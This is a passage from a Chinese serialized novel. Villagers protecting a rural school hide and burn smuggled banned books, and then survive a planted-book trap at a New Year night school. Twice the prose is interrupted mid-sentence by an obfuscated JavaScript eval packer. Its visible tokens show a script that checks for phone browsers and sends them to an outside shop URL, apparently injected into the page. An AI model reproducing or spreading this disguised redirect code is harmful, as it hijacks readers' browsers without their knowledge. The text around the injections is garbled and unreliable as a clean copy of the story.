苏宛音没讲课,而是带着孩子们剪窗花。红纸、剪刀,一双双小手虽然笨拙,但剪出的图案——莲花、喜鹊、福字——贴在窗上,映着雪光,格外喜庆。 程秋实在写春联。他毛笔字好,街坊们早早送来红纸,求一副对联。他写得认真,每一副都不同——给铁匠铺的“炉火纯青铸利器”,给豆腐坊的“磨转乾坤出白玉”,给船工家的“帆风顺遂平安归”…… 张静轩帮忙裁纸、晾干。墨香混着剪纸的红纸屑,在暖和的祠堂里弥漫,有种安宁的年味。 中午,陈启明来了。他带来印好的《新春识字画》,整整三大箱。“先放这儿,等过年时,咱们挨家挨户送。”他说着,看了眼张静轩,眼神示意。 两人走到后院。雪地里,只有他们两行脚印。 “静轩,省城那边有消息。”陈启明压低声音,“孙维民这趟出来,带的不是教育学会的公文,是……省警务厅的协查函。” “警务厅?”张静轩一惊。 “对。”陈启明点头,“我的人从内部打听到,孙维民在查一条线——各地印刷品的流通线。尤其是……激进材料的印刷、运输、传播。” 张静轩心头狂跳。他想起那条船,想起船上的木箱。 “陈先生,那船……” “你也知道了?”陈启明苦笑,“我今早去码头看了,那船……是我们青云会以前的‘供应船’之一。” “什么?” “早些年,我们印的材料,有一部分是通过这种船运输的。”陈启明解释,“船主是个北方人,只认钱,不问货。我们给钱,他运货。但自从我决定转型后,就断了这条线。没想到……” “船上的货,是你们以前的?” “不全是。”陈启明摇头,“有些是,有些……不是。我远远看了一眼,箱子的标记,有几个我认识,是青云会的;但更多的,不认识。可能……是别的团体的。” 张静轩明白了。这条船,现在成了各路激进团体运输材料的通道。而孙维民,就是来查这条通道的。 “那孙维民和赵明德……” “赵明德可能是中间人。”陈启明分析,“他负责在青石镇接货、中转,孙维民负责查。但查归查,为什么秘密会见?除非……”他顿了顿,“除非他们是一伙的——一个查,一个运,演双簧。” 这推测大胆,但合理。张静轩想起赵明德换锁的事——如果是演双簧,那批货可能根本不在船上,而是早就运进了镇公所仓库。新锁,就是为了锁这批“赃物”。 “如果真是这样,”张静轩声音发紧,“他们想做什么?” “栽赃。”陈启明吐出两个字,“把货运进青石镇,然后‘查获’,然后……青石镇就成了‘激进思想传播窝点’。学堂,印刷设备,我们这些人,都是现成的‘证据’。” 张静轩感到浑身发冷。好毒的计策。若真成了,青石镇将万劫不复。学堂必毁,街坊受累,张家……恐怕也难逃干系。 “得阻止他们。”他咬牙道。 “怎么阻止?”陈启明问,“货在船上,或在仓库。咱们没权搜查,没证据举报。贸然行动,反而打草惊蛇。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140668|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这确实是个死局。张静轩在雪地里踱步,脑子飞快地转着。忽然,他停下脚步:“如果……货不见了?” “什么意思?” “如果货在咱们手里,”张静轩眼中闪过一丝光,“他们拿什么栽赃?” 陈启明愣住了。半晌,他缓缓道:“你是说……偷?” “不是偷,是‘转移’。”张静轩压低声音,“趁他们还没行动,把货从仓库或船上弄出来,藏到别处。等孙维民来‘查’时,什么都查不到。” “可仓库有锁,船有人守。” “锁能开,人能引开。”张静轩想起李铁匠——这位铁匠师傅,开锁是一把好手。还有周大栓,码头是他的地盘,引开几个船夫,不难。 陈启明沉吟良久,最终点头:“可以一试。但得计划周全,不能留下痕迹。” 两人回到祠堂,关上门,开始详细谋划。时间紧迫——船腊月二十六就走,孙维民随时可能行动。他们必须在今夜动手。 计划分两步:一,由周大栓以“请喝酒”的名义,引开船上的人;李铁匠带人上船,搜查木箱,若有禁书,全部转移。二,同时,由陈启明的人盯住镇公所仓库,若赵明德有异动,立刻通知。 至于转移的地点……张静轩想到了砖窑的地下仓库。那里隐蔽,而且现在空着,正好用。 “但有个问题,”陈启明说,“就算咱们把货运走了,孙维民来查,发现货没了,会善罢甘休吗?” “不会。”张静轩摇头,“但他没证据,就不能拿青石镇怎么样。至于货的去向……”他顿了顿,“可以让他们以为,是‘内讧’——赵明德私吞了货,或者船主自己运走了。” “嫁祸?” “对。”张静轩眼神坚定,“既然他们要演双簧,咱们就给他们加场戏——狗咬狗的戏。” 计划定下,各自行动。张静轩去找大哥商量,张静远听完,沉默片刻,点头:“可行。但千万小心,若被发现,就是现行犯。” “我知道。” “还有,”张静远从抽屉里取出一个小布包,“这个,你带着。” 张静轩打开,里面是一把匕首,还有一包药粉。“这是……” “匕首防身,药粉是蒙汗药。”张静远平静道,“必要时,能让对方睡一会儿。但记住——非到万不得已,不能用。” 张静轩重重点头,将布包揣进怀里。 傍晚,雪又飘了起来。细密的雪粒在暮色里翻飞,很快模糊了天光地界。青石镇的灯火次第亮起,红灯笼在雪光里晕开一团团暖黄。 周大栓按计划去了码头,提着两坛烧酒,说是“提前过年,请兄弟喝酒”。船夫起初推辞,但架不住周大栓热情,又看天寒地冻,最终下了船,跟着去了码头边的小酒馆。 李铁匠带着两个徒弟,趁机摸上船。他们穿着深色棉袄,脸上抹了煤灰,在暮色里像几道影子。张静轩在岸上望风,心跳如鼓。 时间一分一秒过去。雪越下越大,很快在肩头积了薄薄一层。张静轩盯着船,手里攥着怀里的匕首,手心全是汗。 约莫两刻钟后,李铁匠从船舱出来,打了个手势——得手了。三人扛着几个木箱,下了船,迅速消失在巷弄里。 张静轩松了口气。第一步,成了。 接下来是仓库。陈启明那边传来消息——赵明德下午去了仓库一趟,待了半个时辰,出来时手里提着个包袱,神色匆匆。仓库的锁,果然换了新的。 “要动手吗?”陈启明问。 “等。”张静轩道,“等孙维民出现。” 夜色渐深,雪势稍缓。青石镇沉浸在年关前的宁静里,只有更夫的梆子声,在街巷间回荡,一声,又一声。 亥时末,变故发生了。 先是码头方向传来喧哗——周大栓和船夫们喝酒的酒馆,突然闯进几个人,说是“查私酒”。接着,镇公所方向亮起火把,人影憧憧。 张静轩藏在巷口阴影里,看见孙维民带着几个人,直奔仓库。赵明德跟在后面,点头哈腰。 果然来了。 他立刻发出信号——一声猫头鹰叫,在雪夜里传得很远。这是给陈启明的暗号:按计划行动。 仓库门口,孙维民示意手下开锁。赵明德递上钥匙,手却在抖。锁开了,门推开,火把的光照进去—— 仓库里空空如也。 孙维民脸色大变,猛地转身,一把揪住赵明德:“货呢?!” 赵明德瘫软在地:“我……我不知道啊!下午还在的……” “搜!”孙维民咬牙道。 手下在仓库里翻找,但除了几袋陈年谷子,什么都没有。孙维民的脸在火把光里铁青,他盯着赵明德,眼神像刀:“你敢耍我?” “孙干事,冤枉啊!”赵明德哭喊,“我真不知道……一定是……一定是被人偷了!” “偷?”孙维民冷笑,“仓库锁是你换的,钥匙在你手里,谁能偷?” “我……我……”赵明德语无伦次。 就在这时,码头方向又传来喧哗。一个手下匆匆跑来:“孙干事,船……船上的货也不见了!” 孙维民浑身一震。他猛地看向赵明德,又看向漆黑的小镇街巷,忽然明白了什么。 “中计了。”他咬牙吐出三个字。 火把的光在雪夜里摇曳,映着一张张惊惶的脸。孙维民站在原地,雪落在他肩头,积了薄薄一层。良久,他挥手:“撤。” “那赵明德……” “带走。”孙维民看都不看瘫软在地的赵明德,“回去审。” 一行人匆匆离去,火把的光渐渐消失在街巷尽头。雪又大了起来,很快覆盖了他们留下的脚印。 张静轩从阴影里走出来,看着空荡荡的仓库门口。雪落在脸上,冰凉,但他心里却滚烫。 成了。 货转移了,赵明德被抓了,孙维民的阴谋破产了。 但事情还没完。 他转身往砖窑方向去。雪地里,他的脚印深深浅浅,很快又被新雪覆盖。 砖窑地下仓库里,李铁匠和陈启明正守着那几个木箱。见张静轩来,都松了口气。 “怎么样?”陈启明问。 “孙维民走了,赵明德被带走了。”张静轩简单说了情况。 “接下来怎么办?”李铁匠指着木箱,“这些货……” “烧了。”张静轩果断道,“一本不留。” 陈启明点头:“对,烧了。这些祸根,不能留。” 三人动手,把木箱搬到窑内。李铁匠生了火,火光在漆黑的窑壁上映出跳动的影子。一本本书被扔进火堆,纸张蜷曲,字迹在火焰中化为灰烬。 张静轩看着那些燃烧的书。那些激扬的文字,那些热血的呼吁,那些可能改变很多人命运的思想……在火中化为青烟,升腾,消散。 他不知这样做对不对。但这些书若流传出去,青石镇必遭大祸。他只能选择守护——守护这个小镇,守护学堂,守护那些刚刚点燃的希望。 火渐渐小了,最后只剩一堆灰烬。李铁匠用铁锨把灰埋进窑底的积土里,彻底掩埋。 “好了。”他直起身,擦了把汗,“这下,神仙也找不到了。” 三人走出砖窑。雪停了,月亮从云缝里露出来,清清冷冷地照着雪地。远处,青石镇的灯火星星点点,安宁祥和。 “今晚的事,”陈启明低声说,“就当没发生过。” 李铁匠点头:“我晓得。” 三人分头离开。张静轩踩着积雪往回走,每一步都深深陷进雪里。月光照着他的背影,在雪地上拖出长长的影子。 回到家,书房还亮着灯。张静远在等他。 “都处理好了?”张静远问。 “嗯。”张静轩点头,“货烧了,灰埋了。孙维民走了,赵明德被带走了。” 张静远长长吐出一口气:“那就好。”他顿了顿,“但这事,还没完。” “我知道。”张静轩在火盆边坐下,伸手烤火,“孙维民不会善罢甘休,他背后的人也不会。接下来,可能会有更大的麻烦。” “怕吗?” “怕。”张静轩老实说,“但怕也得扛。” 张静远笑了,那笑容里有欣慰:“你长大了。” 兄弟俩对坐着,火盆里的炭火噼啪作响,暖意融融。窗外,月亮又隐入云层,雪夜重归黑暗。 但黑暗里,有灯火。 有学堂的灯火,有家的灯火,有青石镇千家万户的灯火。 这些灯火,就是希望。 只要灯还亮着,夜再黑,也能等到天亮。 张静轩看着跳动的火苗,心里默默念着。 腊月二十六,船走了。 腊月二十七,年关更近。 青石镇依旧安宁,仿佛那夜的惊涛骇浪,从未发生。 但张静轩知道,有些东西,已经不一样了。 他,也不一样了。 雪还在下。 覆盖痕迹,覆盖过往,覆盖一切暗流与波澜。 然后,等春天来。 等雪化时,埋下的种子,破土而出。 27. 第二十八章 年关暗影 腊月二十七,晨。 雪彻底停了,天地间一片素白。阳光照在积雪上,反射出刺眼的光,晃得人睁不开眼。青石镇的屋檐下挂着一排排冰凌,像倒悬的剑,晶莹剔透。 张静轩推开院门时,福伯已经扫出一条小道。老管家今日换了件新棉袄,深蓝色的底子,袖口缀着毛边,看着精神。“小少爷早,”他直起身,搓了搓冻红的手,“今儿天晴,正好晒年货。” 院子里果然晾开了许多东西——腊肉、腊肠、鱼干,还有用红绳串起来的柿饼、红枣,在雪光里泛着油润的光。年味浓得化不开,仿佛昨夜那场惊心动魄从未发生。 张静远拄着拐杖从屋里出来。他的腿明显好了许多,已能不用拐杖走几步,但走得慢,每一步都稳扎稳打。“静轩,”他招呼道,“今日学堂放假了?” “嗯,昨儿就放了。”张静轩走过去,“但苏先生和程先生还在,陈先生他们也还要印一批识字画,说是赶在年前发完。” 张静远点头,望向学堂方向:“昨夜的事……街坊们没察觉吧?” “应该没有。”张静轩压低声音,“周叔和李叔都嘴紧,陈先生那边也嘱咐过了。” “那就好。”张静远顿了顿,“但孙维民那边……不会就这么算了。” 这话说中了张静轩的心事。昨夜虽然化解了危机,但正如大哥所说,孙维民背后的人不会善罢甘休。那些被烧毁的书,那些被挫败的计划,都成了悬在头顶的剑,不知何时会落下。 “大哥,”张静轩犹豫了一下,“你觉得……孙维民背后是谁?” 张静远沉默片刻,缓缓道:“能在省警务厅拿到协查函,能调动孙维民这样的人,不会是普通角色。可能……是王秉章那一系的人,也可能……是更上面的。” “更上面?” “教育的事,牵涉到思想,就敏感。”张静远的声音很低,“有些人怕新思想,怕民众觉醒,所以千方百计要压。学堂教新知识,印新教材,在他们眼里,就是不安分的种子。” 张静轩感到一阵寒意。若真是这样,青石镇这所学堂,就成了某些人的眼中钉。昨夜烧书,只是暂缓,治标不治本。 “那咱们……” “该做什么还做什么。”张静远拍了拍弟弟的肩,“学堂继续办,教材继续印,孩子继续教。咱们越坦荡,他们越没辙。” 话虽如此,但张静轩心里清楚,接下来的路会更难走。他深吸一口气,冷冽的空气灌入肺腑,清醒而沉重。 早饭后,他去学堂。雪后的街道热闹起来,街坊们忙着置办年货,店铺里挤满了人。卖春联的摊子前围得水泄不通,红纸金字在雪光里格外鲜艳。 路过“悦来茶馆”时,张静轩下意识往二楼看了一眼。窗子关着,帘子拉着,看不出有人。但门口停着一辆马车——不是青石镇常见的样式,车厢漆得黑亮,车辕上坐着个穿棉袄的车夫,正低头打盹。 省城的马车。张静轩心头一跳。孙维民已经走了,这又是谁? 他不动声色地走过,拐进巷子,绕到茶馆后墙。后墙有个小窗,是厨房的通风窗,此时正冒着热气。张静轩凑近,听见里面传来说话声。 “……人已经带走了,但货丢了。”一个低沉的声音,“孙干事很生气,说这事没完。” “货怎么会丢?”另一个声音年轻些,带着江浙口音,“仓库锁着,船有人守着……” “所以才蹊跷。”低沉声音道,“孙干事怀疑,青石镇有内鬼。” 内鬼?张静轩屏住呼吸。 “那……咱们还按原计划吗?”年轻声音问。 “计划变了。”低沉声音顿了顿,“上头指示,暂时不动青石镇。但学堂……要盯紧。尤其是那个印刷设备,还有那几个省城来的人。” “明白。” “还有,”低沉声音压低了些,“腊月三十,省城会来个人。到时候,你负责接应。” “什么人?” “不该问的别问。” 谈话到此结束。接着是椅子挪动的声音,脚步声往门口去。张静轩赶紧退开,躲进巷子深处的柴堆后。 片刻,后门开了。两个人走出来,都是寻常百姓打扮,但身形挺拔,步履沉稳。张静轩认出其中一个——是昨夜里跟在孙维民身边的手下。另一个年轻些,戴着皮帽,遮住了大半张脸。 两人四下看了看,快步离开。张静轩等他们走远,才从柴堆后出来。他记下了那个年轻些的身影——走路时左肩微微下沉,像受过伤。 回到学堂,祠堂里果然还热闹着。苏宛音和程秋正在整理孩子们的年终作业,陈启明带着那三个年轻人在后厢房印识字画。印刷机的咔嗒声规律地响着,油墨味弥漫。 张静轩把茶馆听到的事说了。苏宛音脸色微白,程秋实推了推眼镜,沉默不语。陈启明停下印刷机,眉头紧皱。 “腊月三十……”他喃喃道,“年关最后一天,他们要干什么?” “说是省城来个人。”张静轩道,“要人接应。” 陈启明眼神一凝:“省城来的……这个时候来青石镇,肯定不是拜年。” “陈先生认识那人?”程秋实问。 “不认识,但猜得到。”陈启明走到窗边,望着雪后的院子,“孙维民背后的人,派个更有分量的来。要么是来善后,要么……是来施压。” “施压?”苏宛音轻声问。 “对。”陈启明转身,神色凝重,“昨夜的事,孙维民办砸了。上头不满意,派个更厉害的来,要给青石镇——尤其是学堂——一个‘教训’。” 张静轩感到手心出汗。他想起昨夜烧书时的那把火,想起孙维民离去时铁青的脸。原以为危机暂解,现在看来,只是暴风雨前的宁静。 “那咱们怎么办?”程秋实问。 陈启明沉默良久,缓缓道:“两条路。一,避其锋芒,暂时收敛,等风头过去。二……”他顿了顿,“以攻为守,在他们来之前,先把事做扎实,让他们无从下手。” “怎么以攻为守?”张静轩追问。 陈启明眼中闪过一丝光:“把学堂的事,做得更大,做得更公开。印教材,发识字画,还要……办个年关夜校。” “夜校?” “对。”陈启明点头,“腊月二十八到三十,连办三晚夜校。请街坊们来听课,不教深的,就教识字、算账、写春联。把声势造起来,让全镇人都知道,学堂在做什么。” 他顿了顿:“到时候,省城来的人若想动学堂,就得掂量掂量——动了学堂,就是动了青石镇所有百姓。” 这主意大胆,但也有理。张静轩想起街坊们对学堂的支持——周大栓、李铁匠、陈老秀才,还有那些凑钱助学的家长。若真把大家都动员起来,确实是一股力量。 “但时间太紧了。”程秋实道,“腊月二十八,就是后天。” “紧,才有效。”陈启明说,“就是要打他们一个措手不及。他们以为咱们会躲,咱们偏要站出来。” 苏宛音沉吟片刻,点头:“我觉得可行。夜校的内容,我来准备——就教写春联、算年账,都是实用的。” 程秋实也点头:“我负责组织,挨家挨户通知。” 张静轩看向陈启明:“那印刷……” “识字画再加印三百份。”陈启明果断道,“夜校来的人,每人发一份。还有,印一批简单的《年关实用字表》,把过年常用的字都列上。” 计划定下,各自行动。张静轩回家找大哥商量,张静远听完,沉思片刻,点头:“可以。但得有人维持秩序——夜校人多,容易乱。” “让周叔和李叔帮忙?” “不止。”张静远道,“我去找陈老秀才,让他出面主持。老人家德高望重,有他在,镇得住场。” 这主意好。陈老秀才虽然古板,但真心支持学堂,而且在镇上威望高。有他主持,夜校的“正当性”就强了。 事情就这么定了。张静远去找陈老秀才,张静轩则去通知街坊。他先去了周大栓家——在码头边的矮房里,水生正趴在桌上写字,见张静轩来,高兴地跳起来。 “静轩哥!你看,俺写的春联!”水生献宝似的举起一张红纸,上面歪歪扭扭写着“一帆风顺”。 张静轩赞了几句,把夜校的事说了。周大栓正在补渔网,听了,把网一放:“好事!俺们这些粗人,正愁过年账算不清呢。去,一定去!” “周叔,还得麻烦您通知码头的兄弟。” “包在俺身上!”周大栓拍胸脯。 接着去李铁匠铺子。铁匠铺里炉火正旺,叮叮当当的打铁声不绝于耳。李铁匠光着膀子,一锤一锤砸着烧红的铁块,火星四溅。见张静轩来,他停了锤,抹了把汗:“静轩,有事?” 张静轩说了夜校。李铁匠咧嘴笑:“教算账?俺正需要!铺子里那些账,总也算不明白。”他顿了顿,“放心,镇西这边,俺去通知。” 一圈走下来,天色已近黄昏。雪后的夕阳格外红,像浸了血的绸子,铺在西天。青石镇的灯火次第亮起,炊烟袅袅,饭香飘散。 张静轩走在回家的路上,心里却不像表面那么平静。夜校的事安排下去了,但腊月三十省城来人的阴影,依然笼罩在心头。那个人会是谁?来干什么?会用什么手段? 他不知道。 但知道也得往前走。 回到家,张静远已经回来了,正在书房写信。见弟弟进门,他放下笔:“陈老秀才答应了,还说要把他珍藏的几幅古画拿出来,挂在夜校,添添文气。” 这是意外之喜。张静轩松了口气——有陈老秀才支持,夜校的阻力就小多了。 “大哥,你在给谁写信?” “沈特派员。”张静远把信折好,装进信封,“把青石镇的情况跟他说说。虽然不一定有用,但备个案,总没错。” 张静轩点头。沈特派员是警务厅的人,不归教育厅管,但若能得他关照,总多一分保障。 “还有,”张静远从抽屉里取出一张纸,“你看看这个。” 纸上画着个图案——像徽章,但残缺不全,只能看出大概轮廓:中间是个圆,周围有枝叶环绕,下面隐约有字,但被刮花了。 “这是……” “船尾的标记。”张静远道,“昨夜我上船时,偷偷拓下来的。” 张静轩仔细看。图案虽然残缺,但风格独特,不像民间常见的设计。“这像……军徽?” “不完全是。”张静远摇头,“军徽不会这么精细。倒像是……某个团体的标志。” 他顿了顿:“我托前线的战友查了,还没回信。但有种感觉——这个标志,我好像在哪见过。” 张静轩心头一动:“陈先生他们……” “不是青云会。”张静远肯定道,“青云会的标志我见过,是本书和笔交叉。这个……更像某种家族的徽章。” 家族?张静轩想起孙维民,想起王秉章,想起那些盘根错节的关系网。如果这条船属于某个家族,那事情就更复杂了。 “大哥,你觉得……这条船运禁书,可能不只是生意?” “我也这么想。”张静远眼神凝重,“禁书风险大,利润却不高。若真是生意,没必要冒这么大险。除非……另有目的。” “什么目的?” 张静远沉默良久,缓缓吐出两个字:“栽赃。” 栽赃?张静轩想起昨夜孙维民查仓库时的情景——若货没被转移,那些禁书就是现成的“罪证”。青石镇、学堂、张家,都会被扣上“传播异端”的帽子。 但栽赃给青石镇,对那个家族有什么好处? “想不明白。”张静远摇头,“但肯定不是好事。咱们只能小心,再小心。” 兄弟俩对坐无言。书房里只有油灯燃烧的噼啪声,和窗外隐约传来的风声。雪后的夜,格外寂静,也格外漫长。 腊月二十八,晨。 青石镇比往日更热闹。夜校的消息传开了,街坊们议论纷纷,有说好的,有疑惑的,但大多表示会去看看。学堂门口贴了告示,红纸黑字写着夜校的时间、内容,还特意注明“免费,老少皆宜”。 张静轩一早到学堂帮忙。祠堂里已经收拾出来,桌椅摆成半圆形,正前方挂上了黑板。陈老秀才果然送来了几幅古画——山水、花鸟,装裱精致,挂在两侧墙壁上,顿时添了几分雅致。 苏宛音在准备教案,程秋实在写板书,陈启明带着人布置场地。印刷机还在转动,最后一批识字画正在装订。 “静轩,”苏宛音招呼他,“来,试试这个。” 她递过一张纸,上面列着夜校第一课的内容:“一、写春联:福、寿、春、祥;二、算年账:加减乘除;三、识年货:米、面、油、肉。” 简单实用。张静轩点头:“好。苏先生主讲?” “我讲识字和算账,程先生讲写春联。”苏宛音顿了顿,“陈老先生说,他也要讲一段——讲青石镇过年的老规矩。” 这安排周到。既教新知识,也尊重老传统,街坊们容易接受。 正忙着,水生跑进来,小脸冻得通红:“静轩哥,外头……外头来了个人,说要见你。” “谁?” “不认识,穿得可体面了,还戴着眼镜。”水生比划着,“说话文绉绉的。” 张静轩心里咯噔一下。他放下手中的东西,走到门口。 门外站着个人,四十来岁,穿着灰色呢子大衣,戴金丝眼镜,手里提着个皮包。正是茶馆里那个低沉声音的主人。 “张静轩同学?”那人开口,声音果然低沉,“鄙人姓吴,省教育学会的干事。听说青石镇学堂办夜校,特来看看。” 省教育学会?张静轩心头警铃大作。孙维民就是教育学会的,这人又来,肯定不是巧合。 “吴干事请进。”他不动声色,侧身让路。 吴干事走进祠堂,四下打量。他的目光在印刷设备上停留片刻,又在陈启明等人身上扫过,最后落在黑板上的夜校内容上。 “夜校……教这些?”他问,语气听不出喜怒。 “是。”张静轩道,“过年了,街坊们用得着。” “倒是实用。”吴干事点点头,走到印刷机旁,“这些设备……是学堂的?” “是合作方提供的。”张静轩谨慎回答,“印教材用。” “哦?印什么教材?”吴干事拿起一张刚印好的识字画,“这个?” “对,新春识字画。过年时发给街坊,既能贴,又能识字。” 吴干事翻看着识字画,半晌,笑了笑:“想法不错。”他把画放下,转向张静轩,“张同学,我这次来,其实是奉学会之命,考察各地办学情况。青石镇学堂……最近可还顺利?” 这话问得微妙。张静轩斟酌着回答:“还算顺利。街坊们支持,孩子们用功。” “听说……前阵子省厅来考察过?” “是,王组长他们来过。” “评价如何?” “说我们办学扎实,但……还有提升空间。”张静轩答得滴水不漏。 吴干事推了推眼镜,镜片后的眼睛闪着光:“王组长回去后,向学会做了汇报。学会很重视青石镇的经验,所以派我再来看看。”他顿了顿,“张同学,夜校的事,学会支持。但要注意……内容要合规,不能越界。” “我们明白。” “那就好。”吴干事从皮包里取出一份文件,“这是学会的‘乡村教育指导意见’,你们看看。有什么需要,可以提。” 张静轩接过文件。纸张挺括,印刷精美,盖着省教育学会的红章。他粗略翻看,内容都是冠冕堂皇的话——重视教育、启智新民、因地制宜等等。 “谢谢吴干事。”他道谢。 “不客气。”吴干事收回目光,又在祠堂里转了一圈,最后停在陈启明面前,“这位是……” “合作方的陈先生。”张静轩介绍,“负责印刷。” 陈启明点头致意。吴干事打量他几眼,忽然问:“陈先生看着面熟,是不是……在省城待过?” “待过几年。”陈启明平静回答。 “做什么营生?” “开过印刷社。” “哦……”吴干事若有所思,“难怪手艺好。” 他没有再问,转身对张静轩说:“夜校什么时候开始?” “今晚戌时。” “好,我今晚也来听听。”吴干事笑了笑,“看看青石镇的乡亲们,是怎么学知识的。” 他说完,告辞离开。张静轩送到门口,看着他上了那辆黑亮马车,驶远。 回到祠堂,陈启明眉头紧皱:“这个人……不简单。” “怎么说?” “他认识我。”陈启明低声道,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张静轩在下面看着。街坊们听得很认真,有人拿纸笔跟着写,有人小声念叨。水生坐在他爹周大栓旁边,小声教他认字。李铁匠瞪大眼睛,盯着黑板上的算题,手指在膝盖上比划。 一切顺利。 但就在课程过半时,变故发生了。 祠堂外忽然传来喧哗声,接着,几个人闯了进来。为首的是个陌生汉子,三十来岁,满脸横肉,身后跟着几个地痞模样的人。 “听说这儿教课,免费?”汉子大声道,“俺们也来听听!” 气氛顿时紧张。这伙人明显不是来听课的,是来捣乱的。吴干事推了推眼镜,没说话,但眼神冷了下来。 程秋实上前:“欢迎。后面有空位,请坐。” “坐?”汉子冷笑,“俺们站着听!”他一挥手,几个地痞散开,有的靠在墙上,有的蹲在门口,眼神不善。 课堂秩序被打乱了。街坊们面面相觑,有些胆小的已经想走。陈老秀才站起身,正要说话,被张静轩按住。 张静轩走上前,直视那汉子:“这位大哥,夜校是教识字算账的。你若想学,欢迎;若不想学,请自便。” 汉子上下打量他:“你就是张家小少爷?听说你办学堂,挺能耐啊。” “不敢。” “俺今天来,就想问问,”汉子提高声音,“你们这学堂,教不教……造反的道理?” 这话像炸弹,在祠堂里炸开。街坊们哗然,吴干事的脸沉了下来。 张静轩心头一紧,但面上平静:“学堂只教识字、算数、做人道理。造反?不知大哥从哪儿听来的谣言?” “谣言?”汉子从怀里掏出一本书,扔在地上,“那这是啥?!” 书落在青砖地上,发出沉闷的响声。张静轩低头一看,心头狂震——那是一本禁书,封面上印着刺眼的标题,正是昨夜他们烧掉的那种! 祠堂里死一般寂静。所有人的目光都盯着那本书,又看向张静轩。 吴干事缓缓站起身,走到书前,弯腰捡起。他翻开看了几页,脸色越来越冷。 “张同学,”他抬起头,声音冰冷,“这本书……是学堂的?” 陷阱。这是赤裸裸的陷阱。张静轩瞬间明白了——这伙人,是吴干事安排的。所谓的夜校“验收”,所谓的“观望”,都是幌子。真正的杀招,在这里。 他深吸一口气,正要开口,忽然,一个声音从门口传来。 “书是我的。” 所有人转头。陈启明站在门口,面色平静。他走进来,从吴干事手里接过书,翻了翻,点头:“是我以前收藏的,不小心混进了教材里。给学堂添麻烦了,抱歉。” 他说得自然,仿佛真是无意之失。但张静轩知道,这是陈启明在替他挡刀。 吴干事盯着陈启明:“陈先生,私藏禁书,可是重罪。” “我知道。”陈启明坦然道,“所以早就处理了。这本……可能是漏网之鱼。”他把书递给身后的眼镜青年,“拿去烧了。” 眼镜青年接过书,转身就走。汉子想拦,被陈启明一个眼神制止。 “吴干事,”陈启明转向吴干事,“夜校还在继续,别因为一本旧书,扫了大家的兴。” 这话说得不卑不亢。吴干事脸色变幻,最终,他笑了:“陈先生说得对。夜校继续。” 汉子还想说什么,被吴干事一个眼神瞪了回去。几人悻悻离开,祠堂里重新恢复平静,但气氛已不一样了。 夜校继续,但街坊们的心显然乱了。苏宛音勉强讲完剩下的课,戌时三刻,夜校草草结束。 送走街坊,祠堂里只剩下学堂的人。陈启明关上门,脸色凝重。 “书是新的。”他低声道,“油墨味还没散尽,是刚印的。” 张静轩心头一沉:“他们……现印的?” “对。”陈启明点头,“就是为了栽赃。若我刚才不认,那本书就是学堂的‘罪证’。” “可他们怎么知道那种书……” “我早该想到。”陈启明苦笑,“孙维民查过青云会,手里有样本。复制一本,不难。” 张静轩感到一阵后怕。若刚才陈启明没站出来,若那本书被坐实是学堂的……后果不堪设想。 “吴干事不会罢休。”程秋实忧心忡忡,“这次没成,还会有下次。” “我知道。”陈启明深吸一口气,“所以,咱们得变。” “怎么变?” 陈启明眼中闪过一丝决绝:“印刷设备,连夜转移。我,还有小王他们……暂时离开青石镇。” 张静轩一愣:“陈先生……” “这是最好的选择。”陈启明拍拍他的肩,“我们在,永远是靶子。我们走,他们就没理由动学堂。” “可夜校才刚开始,识字画还没发完……” “你们继续。”陈启明道,“设备我留一套简易的,够印教材用。剩下的,我带走。至于我们……去别的地方,换个方式,继续做事。” 他说得平静,但张静轩听出了其中的无奈与坚定。这位曾经的热血青年,在经历一次次挫败后,选择了更智慧的路——不是退缩,是转移阵地。 “什么时候走?”张静轩问。 “现在。”陈启明看了看窗外,“雪夜赶路,不易追踪。” 说走就走。陈启明和三个年轻人开始收拾设备。张静轩想帮忙,被陈启明拦住:“你们别沾手。若有人查,就说我们私自盗用设备,你们不知情。” 这是把所有的责任都揽下了。张静轩眼眶发热:“陈先生……” “别这样。”陈启明笑了,“咱们做的事,不是为了谁感激。是为了那些该做的事,能继续做下去。” 行李很快收拾好,装上一辆租来的马车。陈启明最后看了一眼学堂,这个他待了不到一个月的地方,却好像待了很久。 “静轩,”他轻声道,“学堂好好办。这条路难,但值得。” 张静轩重重点头。 陈启明又对苏宛音和程秋实拱手:“二位先生,保重。” 马车驶出巷子,消失在雪夜里。张静轩站在门口,看着车辙印在雪地上延伸,远去,最终被新雪覆盖。 腊月二十八,夜。 青石镇依然安宁。 但有些人走了,有些事变了。 雪又飘了起来。 覆盖痕迹,覆盖过往。 也覆盖那些不为人知的告别。 28. 第二十九章 雪后初晴 腊月二十九,晨。 雪后初晴,天光乍破。青石镇的屋瓦上积雪未消,在晨光里泛着淡淡的金。檐下的冰凌开始滴水,嗒,嗒,嗒,像更漏,计量着年关最后的时辰。 张静轩一夜未眠。 他坐在书房里,看着窗外渐渐亮起来的天色。昨夜送走陈启明后,他就一直坐在这里,脑子里反复回放着夜校那一幕——那本突然出现的禁书,陈启明挺身而出的背影,还有吴干事镜片后那双冰冷的眼睛。 书案上摊着那套简易印刷设备。是陈启明临走前留下的,只有一个手摇印刷机和几盒常用铅字,油墨也只够用半个月。“够印教材了。”陈启明当时说,“等开春,我再托人送新的来。” 这话说得轻松,但张静轩知道,这一别,不知何时能再见。陈启明他们这一走,是避祸,也是保护。把所有的风险都带走了,留给学堂的,是一个暂时安全的空壳。 可空壳能撑多久? 门轻轻响了。张静远推门进来,手里端着碗热粥:“一夜没睡?” 张静轩接过粥,碗壁烫手:“睡不着。” 